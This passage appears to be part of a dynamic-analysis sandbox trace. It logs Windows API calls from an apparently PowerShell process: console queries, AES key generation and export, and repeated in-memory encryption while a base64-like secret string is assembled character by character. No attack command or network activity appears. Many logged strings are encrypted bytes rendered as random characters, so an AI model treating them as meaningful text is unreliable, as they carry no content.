lpFileInformation=0x24fa468 | out: lpFileInformation=0x24fa468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d98ee0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x6d98ee0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x6dbf040, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x3ae4)) returned 1 [0233.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0233.210] GetConsoleOutputCP () returned 0x1b5 [0233.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.210] GetConsoleOutputCP () returned 0x1b5 [0233.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.315] GetConsoleOutputCP () returned 0x1b5 [0233.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.315] GetConsoleOutputCP () returned 0x1b5 [0233.315] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.315] GetConsoleOutputCP () returned 0x1b5 [0233.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.316] GetConsoleOutputCP () returned 0x1b5 [0233.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.316] GetConsoleOutputCP () returned 0x1b5 [0233.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.316] GetConsoleOutputCP () returned 0x1b5 [0233.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.316] GetConsoleOutputCP () returned 0x1b5 [0233.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.317] GetConsoleOutputCP () returned 0x1b5 [0233.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.317] GetConsoleOutputCP () returned 0x1b5 [0233.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.317] GetConsoleOutputCP () returned 0x1b5 [0233.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.317] GetConsoleOutputCP () returned 0x1b5 [0233.317] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0233.317] GetConsoleOutputCP () returned 0x1b5 [0233.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0233.318] GetConsoleOutputCP () returned 0x1b5 [0233.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.318] GetConsoleOutputCP () returned 0x1b5 [0233.318] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0233.318] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0233.319] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0233.319] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2514038*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2514038*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0233.320] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0233.320] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0233.321] EtwEventActivityIdControl () returned 0x0 [0233.322] EtwEventActivityIdControl () returned 0x0 [0233.322] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.322] EtwEventActivityIdControl () returned 0x0 [0233.322] EtwEventActivityIdControl () returned 0x0 [0233.322] EtwEventActivityIdControl () returned 0x0 [0233.325] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.325] EtwEventActivityIdControl () returned 0x0 [0233.326] EtwEventActivityIdControl () returned 0x0 [0233.326] EtwEventActivityIdControl () returned 0x0 [0233.328] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0233.329] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997e0) returned 1 [0233.440] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.440] CryptExportKey (in: hKey=0x5c997e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0233.440] CryptExportKey (in: hKey=0x5c997e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x251ba10, pdwDataLen=0x5a2e8c4 | out: pbData=0x251ba10*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0233.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.441] EtwEventActivityIdControl () returned 0x0 [0233.441] EtwEventActivityIdControl () returned 0x0 [0233.441] EtwEventActivityIdControl () returned 0x0 [0233.441] SysStringLen (param_1="") returned 0x8 [0233.442] SysStringLen (param_1="l") returned 0x8 [0233.442] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.442] SysStringLen (param_1="粽\觛귲῍槛鯵ዾ⋻) returned 0x8 [0233.442] SysStringLen (param_1="粽\觛귲῍槛鯵ዾ⋻) returned 0x8 [0233.442] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.442] SysStringLen (param_1="l3") returned 0x8 [0233.442] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.442] SysStringLen (param_1="갇熤䕱䣀掫㼺묲㔛") returned 0x8 [0233.442] SysStringLen (param_1="갇熤䕱䣀掫㼺묲㔛") returned 0x8 [0233.442] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.442] SysStringLen (param_1="l33") returned 0x8 [0233.442] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.442] SysStringLen (param_1="왉\컙ᤳ듟賊ᤔ⋦) returned 0x8 [0233.442] SysStringLen (param_1="왉\컙ᤳ듟賊ᤔ⋦) returned 0x8 [0233.442] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="l33g") returned 0x8 [0233.443] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="≙땏\黟亭⊢) returned 0x8 [0233.443] SysStringLen (param_1="≙땏\黟亭⊢) returned 0x8 [0233.443] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="l33gK") returned 0x8 [0233.443] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="ꋔ韏덧⿠䟭บ䪝") returned 0x8 [0233.443] SysStringLen (param_1="ꋔ韏덧⿠䟭บ䪝") returned 0x8 [0233.443] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="l33gKo") returned 0x8 [0233.443] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.443] SysStringLen (param_1="ᵼ焋ᒺ萾ຟ쎘") returned 0x8 [0233.443] SysStringLen (param_1="ᵼ焋ᒺ萾ຟ쎘") returned 0x8 [0233.443] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.444] SysStringLen (param_1="l33gKoK") returned 0x8 [0233.444] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.444] SysStringLen (param_1="℣捡⦄訣傒맃胺") returned 0x8 [0233.444] SysStringLen (param_1="℣捡⦄訣傒맃胺") returned 0x8 [0233.444] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.444] SysStringLen (param_1="l33gKoKD") returned 0x8 [0233.444] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.444] SysStringLen (param_1="郁怠⏈Ф울ญ") returned 0x8 [0233.444] SysStringLen (param_1="郁怠⏈Ф울ญ") returned 0x8 [0233.444] SysStringLen (param_1="郁怠⏈Ф울ญ") returned 0x8 [0233.445] SysStringLen (param_1="郁怠⏈Ф울ญ") returned 0x10 [0233.445] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.445] SysStringLen (param_1="l33gKoKDE墵菝餆糴뉛뗋쌶") returned 0x10 [0233.445] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.445] SysStringLen (param_1="郁怠⏈Ф울ญᩥǧ㺃䲹䶞ퟁ敔") returned 0x10 [0233.445] SysStringLen (param_1="郁怠⏈Ф울ญᩥǧ㺃䲹䶞ퟁ敔") returned 0x10 [0233.445] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.445] SysStringLen (param_1="l33gKoKDE2菝餆糴뉛뗋쌶") returned 0x10 [0233.445] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.445] SysStringLen (param_1="郁怠⏈Ф울ญ￡펼綠颛蝵僿캕湺") returned 0x10 [0233.445] SysStringLen (param_1="郁怠⏈Ф울ญ￡펼綠颛蝵僿캕湺") returned 0x10 [0233.445] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="l33gKoKDE2c餆糴뉛뗋쌶") returned 0x10 [0233.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญᔴ豛ꕶ罜৬") returned 0x10 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญᔴ豛ꕶ罜৬") returned 0x10 [0233.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="l33gKoKDE2cS糴뉛뗋쌶") returned 0x10 [0233.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญ오立僖৑纞ᔺ䇤") returned 0x10 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญ오立僖৑纞ᔺ䇤") returned 0x10 [0233.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="l33gKoKDE2cSn뉛뗋쌶") returned 0x10 [0233.446] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญ俩퍛茎蘅㫜⁎赛") returned 0x10 [0233.446] SysStringLen (param_1="郁怠⏈Ф울ญ俩퍛茎蘅㫜⁎赛") returned 0x10 [0233.446] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="l33gKoKDE2cSnx뗋쌶") returned 0x10 [0233.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ堇枩䊍Ꜻ⹛蘁墼瘣") returned 0x10 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ堇枩䊍Ꜻ⹛蘁墼瘣") returned 0x10 [0233.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="l33gKoKDE2cSnx5쌶") returned 0x10 [0233.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ嗢ኾ∫ᤡ磩㽂欠") returned 0x10 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ嗢ኾ∫ᤡ磩㽂欠") returned 0x10 [0233.447] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="l33gKoKDE2cSnx5b") returned 0x10 [0233.447] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ⊣) returned 0x10 [0233.447] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ⊣) returned 0x10 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ⊣) returned 0x10 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ⊣) returned 0x18 [0233.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.448] SysStringLen (param_1="l33gKoKDE2cSnx5b+둑뙗Њ餠浵휏溚") returned 0x18 [0233.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ펣߬Ӏ亘㷼蹭≄) returned 0x18 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ펣߬Ӏ亘㷼蹭≄) returned 0x18 [0233.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.448] SysStringLen (param_1="l33gKoKDE2cSnx5b+y뙗Њ餠浵휏溚") returned 0x18 [0233.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤྣ쨮\櫛㸪嘓큕") returned 0x18 [0233.448] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤྣ쨮\櫛㸪嘓큕") returned 0x18 [0233.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPЊ餠浵휏溚") returned 0x18 [0233.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ綣썿꾯躏튐\韟鴊黩") returned 0x18 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ綣썿꾯躏튐\韟鴊黩") returned 0x18 [0233.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPs餠浵휏溚") returned 0x18 [0233.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ牓脼텉邝ᛩ퀙\ᛟ") returned 0x18 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ牓脼텉邝ᛩ퀙\ᛟ") returned 0x18 [0233.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz浵휏溚") returned 0x18 [0233.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ涣\⻛㽠⤮慪떧ᆌὣ") returned 0x18 [0233.449] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ涣\⻛㽠⤮慪떧ᆌὣ") returned 0x18 [0233.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5휏溚") returned 0x18 [0233.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꂣⵔ顥ᗠк춢紿≽) returned 0x18 [0233.450] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꂣⵔ顥ᗠк춢紿≽) returned 0x18 [0233.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5I溚") returned 0x18 [0233.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ떣他埚\軞囧ᛓ쩞꫃") returned 0x18 [0233.450] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤ떣他埚\軞囧ᛓ쩞꫃") returned 0x18 [0233.450] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IV") returned 0x18 [0233.450] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.450] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻∸) returned 0x18 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻∸) returned 0x18 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻∸) returned 0x18 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻∸) returned 0x20 [0233.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.451] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVH`ྈ빜᫮媷접") returned 0x20 [0233.451] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻☸₾潌䡼匏㽋∽) returned 0x20 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻☸₾潌䡼匏㽋∽) returned 0x20 [0233.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.451] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIྈ빜᫮媷접") returned 0x20 [0233.451] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻蔸ꙗ崳퍲嘀詫∿) returned 0x20 [0233.451] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻蔸ꙗ崳퍲嘀詫∿) returned 0x20 [0233.451] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIX빜᫮媷접") returned 0x20 [0233.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻鰸씭ꓺ謎は椽⋛) returned 0x20 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻鰸씭ꓺ謎は椽⋛) returned 0x20 [0233.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXp᫮媷접") returned 0x20 [0233.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻털座뗽เꭥᑋ諴∮) returned 0x20 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻털座뗽เꭥᑋ諴∮) returned 0x20 [0233.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpL媷접") returned 0x20 [0233.452] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻딸卲ⴉⳮ鸧壳ꂜ怒∷) returned 0x20 [0233.452] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻딸卲ⴉⳮ鸧壳ꂜ怒∷) returned 0x20 [0233.452] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLc접") returned 0x20 [0233.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻㑦鋨챁౦捇ﭳ쵄≩) returned 0x20 [0233.453] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻㑦鋨챁౦捇ﭳ쵄≩) returned 0x20 [0233.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcs") returned 0x20 [0233.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻稸䇲硥众䳵ᶛ馝舃⊌) returned 0x20 [0233.453] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻稸䇲硥众䳵ᶛ馝舃⊌) returned 0x20 [0233.453] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsu") returned 0x20 [0233.453] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.453] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施∐) returned 0x20 [0233.454] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施∐) returned 0x20 [0233.454] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施∐) returned 0x20 [0233.454] SysStringLen (param_1="郁怠⏈Ф울ญ悘賄섾뻄ዏ\糛ꆤꮣ鉸Ą좑括暻ﷁ茽ⲕ櫻媣䰟施∅) returned 0x28 [0233.454] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.454] SysStringLen (param_1="l33gKoKDE2cSnx5b+yPsz5IVHIXpLcsur츸굙셣︮Უ\⋞) returned 0x28 [0233.454] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.454] SysStringLen 